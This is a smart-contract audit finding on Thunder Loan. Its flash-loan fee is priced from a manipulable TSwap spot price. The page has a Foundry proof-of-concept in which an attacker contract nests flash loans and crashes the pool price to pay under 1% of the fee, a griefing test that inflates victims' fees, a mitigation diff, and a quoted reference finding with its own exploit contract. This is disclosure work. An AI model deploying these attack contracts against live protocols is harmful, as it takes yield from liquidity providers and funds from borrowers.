Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: medium
Valid

Flash-loan fee is priced from a live TSwap spot price, so a borrower can depress the price in the same transaction and pay under 1% of the fee, cutting LP yield (ThunderLoan and ThunderLoanUpgraded)

Root + Impact

Description

  • Each flash loan should pay a 0.3% fee (s_flashLoanFee = 3e15 over a precision of 1e18) that depends only on how much is borrowed. The fee is repaid with the principal and credited to liquidity providers through AssetToken.updateExchangeRate, so LPs earn a predictable yield the borrower cannot influence.

  • getCalculatedFee multiplies the loan amount by OracleUpgradeable.getPriceInWeth. That function reads the token's TSwap pool spot quote (getPriceOfOnePoolTokenInWeth) once, live, with no TWAP, no deviation bound and no minimum fee. flashloan computes the fee at ThunderLoan.sol L192 (ThunderLoanUpgraded.sol L190) inside the borrower's own transaction, and it has no reentrancy guard. A borrower can therefore sell tokens into a shallow pool (funded by a small outer flash loan), take a large inner loan whose fee is priced at the depressed quote, then buy the tokens back. Anyone can also push the quote up just before another user's loan to inflate that user's fee.

// src/protocol/OracleUpgradeable.sol L19-L22
function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); // @>
}
​
// src/protocol/ThunderLoan.sol L180, L192-L194 (flashloan: no reentrancy guard, fee priced at call time)
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
// ...
uint256 fee = getCalculatedFee(token, amount); // @>
// slither-disable-next-line reentrancy-vulnerabilities-2 reentrancy-vulnerabilities-3
assetToken.updateExchangeRate(fee);
​
// src/protocol/ThunderLoan.sol L246-L251 (fee is linear in the spot price)
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
//slither-disable-next-line divide-before-multiply
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; // @>
//slither-disable-next-line divide-before-multiply
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
​
// src/upgradedProtocol/ThunderLoanUpgraded.sol L190 and L244-L249 (same pattern in the planned upgrade)
uint256 fee = getCalculatedFee(token, amount); // @>
// ...
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
//slither-disable-next-line divide-before-multiply
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / FEE_PRECISION; // @>
//slither-disable-next-line divide-before-multiply
fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
}

Risk

Likelihood:

  • Anyone can run it with a contract receiver, in one atomic transaction. The capital to move the price comes from a small outer ThunderLoan flash loan, because flashloan has no reentrancy guard. The attacker pays only the two fees and the swap round-trip loss (about 0.55 WETH in the PoC), and the spot price ends within 0.6% of its starting value.

  • It pays only for tokens whose ThunderLoan liquidity is large relative to their TSwap pool depth: in the PoC, 1,000,000e18 tokenA against a 100/100 pool. When the pool is deep relative to the loan, swap fees and slippage eat most of the saving, so the condition is plausible but not universal.

  • The fee-inflation variant requires front-running a specific victim's transaction, and the griefer bears the swap cost of pushing the price up.

Impact:

  • LPs lose fee income, which is their only yield. In the PoC the LP gain from a 999,000e18 tokenA loan falls from 2,958.5e18 tokenA (honest borrower) to 27.7e18 tokenA (the two small fees). Exchange-rate growth falls from 2.967e15 to 2.79e13. LP principal is not taken, which limits the impact to Medium.

  • The borrower controls the fee in both directions. Pushing the spot price up raised the fee quote for a 100,000e18 loan 3.97x (296.1e18 to 1,174.8e18). A victim who had budgeted 2x the quoted fee reverted, and a victim with a larger buffer paid the inflated fee.

  • Both ThunderLoan (V1) and the planned ThunderLoanUpgraded (V2) are affected; the PoC passes against both.

Proof of Concept

test/PoC_TL-08.t.sol deploys V1 and V2 behind ERC1967Proxy. The TSwap pool is not in the repo, so each is initialized with a test-local factory pointing to a minimal x*y=k tokenA/WETH pool with a 0.3% swap fee. In that pool, getPriceOfOnePoolTokenInWeth returns the WETH output for selling 1e18 tokens at current reserves. With 1,000,000e18 tokenA deposited and a 100/100 pool, the test compares an honest 999,000e18 loan with an attacker who takes a 1,000e18 outer loan, sells it into the pool (spot 0.987 to 0.00825 WETH), takes the 999,000e18 inner loan, buys the tokens back and repays both. The inner loan repays through repay(); the outer loan must repay by direct transfer because the inner exit clears s_currentlyFlashLoaning. The test asserts that the inner fee is under 1% of the honest fee (24.7e18 vs 2,958.5e18) and that the attacker's all-in cost is under 2% of the honest cost in WETH (27.9 vs 2,920.5). It also asserts that the LP gain equals exactly the two small fees and is under 2% of the honest gain, and that the spot price is restored within 2%. A third test asserts the 3.97x fee inflation and the victim revert/overpay. Run with forge test --match-path test/PoC_TL-08.t.sol -vv.

File test/PoC_TL-08.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_TL-08.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
​
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
​
/// Shared ABI of ThunderLoan (V1) and ThunderLoanUpgraded (V2) used by this PoC.
interface ITL08 {
function initialize(address tswapAddress) external;
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external;
function repay(IERC20 token, uint256 amount) external;
function deposit(IERC20 token, uint256 amount) external;
function setAllowedToken(IERC20 token, bool allowed) external returns (AssetToken);
function getAssetFromToken(IERC20 token) external view returns (AssetToken);
function getCalculatedFee(IERC20 token, uint256 amount) external view returns (uint256);
function isCurrentlyFlashLoaning(IERC20 token) external view returns (bool);
function getPriceInWeth(address token) external view returns (uint256);
}
​
/// Minimal constant-product token/WETH pool (x*y=k, 0.3% swap fee) standing in for the
/// out-of-repo TSwap pool. getPriceOfOnePoolTokenInWeth() is the spot quote for selling
/// 1e18 pool tokens at the CURRENT reserves -- the semantics implied by ITSwapPool.
contract TL08CPPool {
IERC20 public immutable token;
IERC20 public immutable weth;
​
constructor(IERC20 _token, IERC20 _weth) {
token = _token;
weth = _weth;
}
​
function _out(uint256 amountIn, uint256 inRes, uint256 outRes) internal pure returns (uint256) {
uint256 inWithFee = amountIn * 997;
return (inWithFee * outRes) / (inRes * 1000 + inWithFee);
}
​
function _in(uint256 amountOut, uint256 inRes, uint256 outRes) internal pure returns (uint256) {
return (inRes * amountOut * 1000) / ((outRes - amountOut) * 997) + 1;
}
​
function reserves() public view returns (uint256 t, uint256 w) {
t = token.balanceOf(address(this));
w = weth.balanceOf(address(this));
}
​
function getPriceOfOnePoolTokenInWeth() external view returns (uint256) {
(uint256 t, uint256 w) = reserves();
return _out(1e18, t, w);
}
​
/// sell an exact amount of pool tokens for WETH
function sellToken(uint256 tokenIn) external returns (uint256 wethOut) {
(uint256 t, uint256 w) = reserves();
wethOut = _out(tokenIn, t, w);
token.transferFrom(msg.sender, address(this), tokenIn);
weth.transfer(msg.sender, wethOut);
}
​
/// buy an exact amount of pool tokens with WETH
function buyToken(uint256 tokenOut) external returns (uint256 wethIn) {
(uint256 t, uint256 w) = reserves();
wethIn = _in(tokenOut, w, t);
weth.transferFrom(msg.sender, address(this), wethIn);
token.transfer(msg.sender, tokenOut);
}
}
​
/// IPoolFactory stand-in: token -> pool.
contract TL08Factory {
mapping(address => address) private s_pools;
​
function setPool(address token, address pool) external {
s_pools[token] = pool;
}
​
function getPool(address token) external view returns (address) {
return s_pools[token];
}
}
​
/// Honest borrower: takes one loan and repays principal + quoted fee through repay().
contract TL08Borrower {
ITL08 private immutable tl;
uint256 public paidFee;
​
constructor(ITL08 _tl) {
tl = _tl;
}
​
function borrow(IERC20 token, uint256 amount) external {
tl.flashloan(address(this), token, amount, "");
}
​
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
)
external
returns (bool)
{
require(msg.sender == address(tl), "only TL");
paidFee = fee;
IERC20(token).approve(address(tl), amount + fee);
tl.repay(IERC20(token), amount + fee);
return true;
}
}
​
/// Attacker: small outer loan -> dump it into the shallow pool -> large inner loan whose
/// fee is quoted at the depressed spot price -> buy back -> repay both.
contract TL08Attacker {
ITL08 private immutable tl;
IERC20 private immutable token;
IERC20 private immutable weth;
TL08CPPool private immutable pool;
​
uint256 private innerAmount;
uint256 public outerFee;
uint256 public innerFee;
uint256 public priceBefore;
uint256 public priceDuring;
uint256 public innerBalanceHeld;
bool public flagTrueDuringInner;
bool public flagFalseAfterInner;
bool public outerRepayReverted;
​
constructor(ITL08 _tl, IERC20 _token, IERC20 _weth, TL08CPPool _pool) {
tl = _tl;
token = _token;
weth = _weth;
pool = _pool;
}
​
function attack(uint256 outerAmount, uint256 _innerAmount) external {
innerAmount = _innerAmount;
tl.flashloan(address(this), token, outerAmount, abi.encode(uint8(1)));
}
​
function executeOperation(
address,
uint256 amount,
uint256 fee,
address,
bytes calldata params
)
external
returns (bool)
{
require(msg.sender == address(tl), "only TL");
uint8 stage = abi.decode(params, (uint8));
if (stage == 1) {
outerFee = fee;
priceBefore = pool.getPriceOfOnePoolTokenInWeth();
​
// 1. dump the borrowed tokens into the shallow TSwap pool -> spot price collapses
token.approve(address(pool), amount);
pool.sellToken(amount);
priceDuring = pool.getPriceOfOnePoolTokenInWeth();
​
// 2. nested (re-entrant) large loan; its fee is computed at the depressed price
tl.flashloan(address(this), token, innerAmount, abi.encode(uint8(2)));
​
// 3. the inner exit cleared the bool flag, so repay() is now unusable for the outer loan
flagFalseAfterInner = !tl.isCurrentlyFlashLoaning(token);
token.approve(address(tl), 1);
try tl.repay(token, 1) { }
catch {
outerRepayReverted = true;
}
​
// 4. buy the dumped tokens back (restores the pool price)
weth.approve(address(pool), type(uint256).max);
pool.buyToken(amount);
​
// 5. repay the outer loan by direct transfer to the AssetToken
token.transfer(address(tl.getAssetFromToken(token)), amount + fee);
} else {
innerFee = fee;
flagTrueDuringInner = tl.isCurrentlyFlashLoaning(token);
innerBalanceHeld = token.balanceOf(address(this));
// ... use the borrowed funds here (arbitrage, liquidation, collateral swap) ...
// inner loan can still use repay(): the flag is true during its callback
token.approve(address(tl), amount + fee);
tl.repay(token, amount + fee);
}
return true;
}
}
​
contract PoC_TL08 is Test {
ERC20Mock tokenA;
ERC20Mock weth;
TL08CPPool pool;
TL08Factory factory;
ITL08 tl;
AssetToken asset;
​
address lp = makeAddr("lp");
​
uint256 constant TL_LIQUIDITY = 1_000_000e18; // deep ThunderLoan liquidity
uint256 constant POOL_DEPTH = 100e18; // shallow TSwap pool: 100 tokenA / 100 WETH
uint256 constant OUTER = 1_000e18;
uint256 constant INNER = 999_000e18;
​
function _deploy(bool upgraded) internal {
tokenA = new ERC20Mock();
weth = new ERC20Mock();
pool = new TL08CPPool(IERC20(address(tokenA)), IERC20(address(weth)));
tokenA.mint(address(pool), POOL_DEPTH);
weth.mint(address(pool), POOL_DEPTH);
factory = new TL08Factory();
factory.setPool(address(tokenA), address(pool));
​
address impl = upgraded ? address(new ThunderLoanUpgraded()) : address(new ThunderLoan());
tl = ITL08(address(new ERC1967Proxy(impl, "")));
tl.initialize(address(factory));
asset = tl.setAllowedToken(IERC20(address(tokenA)), true);
​
tokenA.mint(lp, TL_LIQUIDITY);
vm.startPrank(lp);
tokenA.approve(address(tl), TL_LIQUIDITY);
tl.deposit(IERC20(address(tokenA)), TL_LIQUIDITY);
vm.stopPrank();
}
​
// results kept in storage to avoid stack-too-deep
uint256 p0;
uint256 honestFee;
uint256 lpGainHonest;
uint256 rateGainHonest;
uint256 costTok;
uint256 costWeth;
uint256 lpGainAttack;
uint256 rateGainAttack;
TL08Attacker attacker;
​
function _baseline() internal {
// Baseline: an honest borrower takes the 999,000 tokenA loan at the undisturbed price
TL08Borrower honest = new TL08Borrower(tl);
tokenA.mint(address(honest), 5_000e18);
uint256 lpBalBefore = tokenA.balanceOf(address(asset));
uint256 rateBefore = asset.getExchangeRate();
honest.borrow(IERC20(address(tokenA)), INNER);
honestFee = honest.paidFee();
lpGainHonest = tokenA.balanceOf(address(asset)) - lpBalBefore;
rateGainHonest = asset.getExchangeRate() - rateBefore;
}
​
function _attack() internal {
// Attack: same 999,000 principal, fee priced after crushing the spot price
attacker = new TL08Attacker(tl, IERC20(address(tokenA)), IERC20(address(weth)), pool);
tokenA.mint(address(attacker), 100e18); // pocket money for the fees
weth.mint(address(attacker), 10e18); // pocket money for swap slippage
uint256 atkTokBefore = tokenA.balanceOf(address(attacker));
uint256 atkWethBefore = weth.balanceOf(address(attacker));
uint256 lpBalBefore = tokenA.balanceOf(address(asset));
uint256 rateBefore = asset.getExchangeRate();
​
attacker.attack(OUTER, INNER);
​
costTok = atkTokBefore - tokenA.balanceOf(address(attacker));
costWeth = atkWethBefore - weth.balanceOf(address(attacker));
lpGainAttack = tokenA.balanceOf(address(asset)) - lpBalBefore;
rateGainAttack = asset.getExchangeRate() - rateBefore;
}
​
function _feeEvasion(bool upgraded) internal {
_deploy(upgraded);
p0 = tl.getPriceInWeth(address(tokenA));
console.log("undisturbed spot price (WETH per tokenA)", p0);
​
_baseline();
console.log("honest fee for 999,000 tokenA (tokenA) ", honestFee);
assertEq(lpGainHonest, honestFee, "LPs receive the full honest fee");
assertGt(honestFee, 2_900e18, "honest fee ~0.3% of value");
​
_attack();
uint256 attackCostInWeth = (costTok * p0) / 1e18 + costWeth;
uint256 honestCostInWeth = (honestFee * p0) / 1e18;
​
console.log("spot price inside outer callback (before)", attacker.priceBefore());
console.log("spot price after dumping 1,000 tokenA ", attacker.priceDuring());
console.log("outer fee (1,000 tokenA) ", attacker.outerFee());
console.log("inner fee (999,000 tokenA) ", attacker.innerFee());
console.log("attacker tokenA spent ", costTok);
console.log("attacker WETH spent (swap round trip) ", costWeth);
console.log("attacker all-in cost, in WETH ", attackCostInWeth);
console.log("honest borrower cost, in WETH ", honestCostInWeth);
console.log("LP tokenA gain: honest vs attack ", lpGainHonest, lpGainAttack);
console.log("exchange-rate gain: honest vs attack ", rateGainHonest, rateGainAttack);
console.log("spot price after attack ", tl.getPriceInWeth(address(tokenA)));
​
// the attacker really held the 999,000 principal inside the inner callback
assertGe(attacker.innerBalanceHeld(), INNER, "inner principal delivered");
// spot price crushed >100x within the same transaction
assertLt(attacker.priceDuring() * 100, attacker.priceBefore(), "spot crushed >100x");
// fee for the identical 999,000 principal falls below 1% of the honest fee
assertLt(attacker.innerFee() * 100, honestFee, "inner fee < 1% of honest fee");
// all-in attacker cost (both fees + swap loss) is < 2% of what an honest borrower pays
assertLt(attackCostInWeth * 50, honestCostInWeth, "attack cost < 2% of honest fee");
// LPs: fee income (their only yield) from the same principal falls by >98%
assertEq(lpGainAttack, attacker.outerFee() + attacker.innerFee(), "LPs receive only the two small fees");
assertLt(lpGainAttack * 50, lpGainHonest, "LP fee income < 2% of honest");
assertLt(rateGainAttack * 50, rateGainHonest, "exchange-rate growth < 2% of honest");
// pool price restored -> manipulation leaves no lasting trace
assertApproxEqRel(tl.getPriceInWeth(address(tokenA)), p0, 0.02e18, "spot restored");
// limb-4 correction: inner loan CAN use repay(); the OUTER loan cannot (flag cleared by inner exit)
assertTrue(attacker.flagTrueDuringInner(), "flag true during inner callback");
assertTrue(attacker.flagFalseAfterInner(), "flag cleared after inner exit");
assertTrue(attacker.outerRepayReverted(), "outer repay() reverts -> must repay by transfer");
}
​
function test_FeeEvasion_SpotManipulation_V1() public {
_feeEvasion(false);
}
​
function test_FeeEvasion_SpotManipulation_V2Upgraded() public {
_feeEvasion(true);
}
​
/// Limb 2: pumping the spot just before a victim's loan inflates the victim's fee.
function test_FeeInflation_VictimRevertsOrOverpays_V1() public {
_deploy(false);
IERC20 tA = IERC20(address(tokenA));
uint256 amount = 100_000e18;
uint256 baselineFee = tl.getCalculatedFee(tA, amount);
​
// victim A budgets 2x the quoted fee
TL08Borrower victimA = new TL08Borrower(tl);
tokenA.mint(address(victimA), 2 * baselineFee);
// victim B has a large buffer
TL08Borrower victimB = new TL08Borrower(tl);
tokenA.mint(address(victimB), 10 * baselineFee);
​
// griefer front-runs: buys 50 tokenA out of the 100-token pool -> spot pumps ~4x
address griefer = makeAddr("griefer");
weth.mint(griefer, 200e18);
vm.startPrank(griefer);
weth.approve(address(pool), type(uint256).max);
pool.buyToken(50e18);
vm.stopPrank();
​
uint256 pumpedFee = tl.getCalculatedFee(tA, amount);
console.log("victim fee quote before pump", baselineFee);
console.log("victim fee quote after pump ", pumpedFee);
assertGt(pumpedFee, 3 * baselineFee, "fee inflated >3x");
​
vm.expectRevert();
victimA.borrow(tA, amount); // fee now exceeds A's 2x budget -> loan reverts
​
victimB.borrow(tA, amount);
console.log("victim B actually paid ", victimB.paidFee());
assertEq(victimB.paidFee(), pumpedFee, "victim B paid inflated fee");
assertGt(victimB.paidFee(), 3 * baselineFee, "victim B overpaid >3x");
}
}

Recommended Mitigation

--- a/src/protocol/ThunderLoan.sol
+++ b/src/protocol/ThunderLoan.sol
@@ -246,8 +246,6 @@
- function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
- //slither-disable-next-line divide-before-multiply
- uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
- //slither-disable-next-line divide-before-multiply
- fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
+ function getCalculatedFee(IERC20 /* token */, uint256 amount) public view returns (uint256 fee) {
+ // fixed share of the borrowed amount, in token units; no spot-price input
+ fee = (amount * s_flashLoanFee) / s_feePrecision;
}
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
--- a/src/upgradedProtocol/ThunderLoanUpgraded.sol
+++ b/src/upgradedProtocol/ThunderLoanUpgraded.sol
@@ -244,8 +244,6 @@
- function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
- //slither-disable-next-line divide-before-multiply
- uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / FEE_PRECISION;
- //slither-disable-next-line divide-before-multiply
- fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
+ function getCalculatedFee(IERC20 /* token */, uint256 amount) public view returns (uint256 fee) {
+ // fixed share of the borrowed amount, in token units; no spot-price input
+ fee = (amount * s_flashLoanFee) / FEE_PRECISION;
}
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!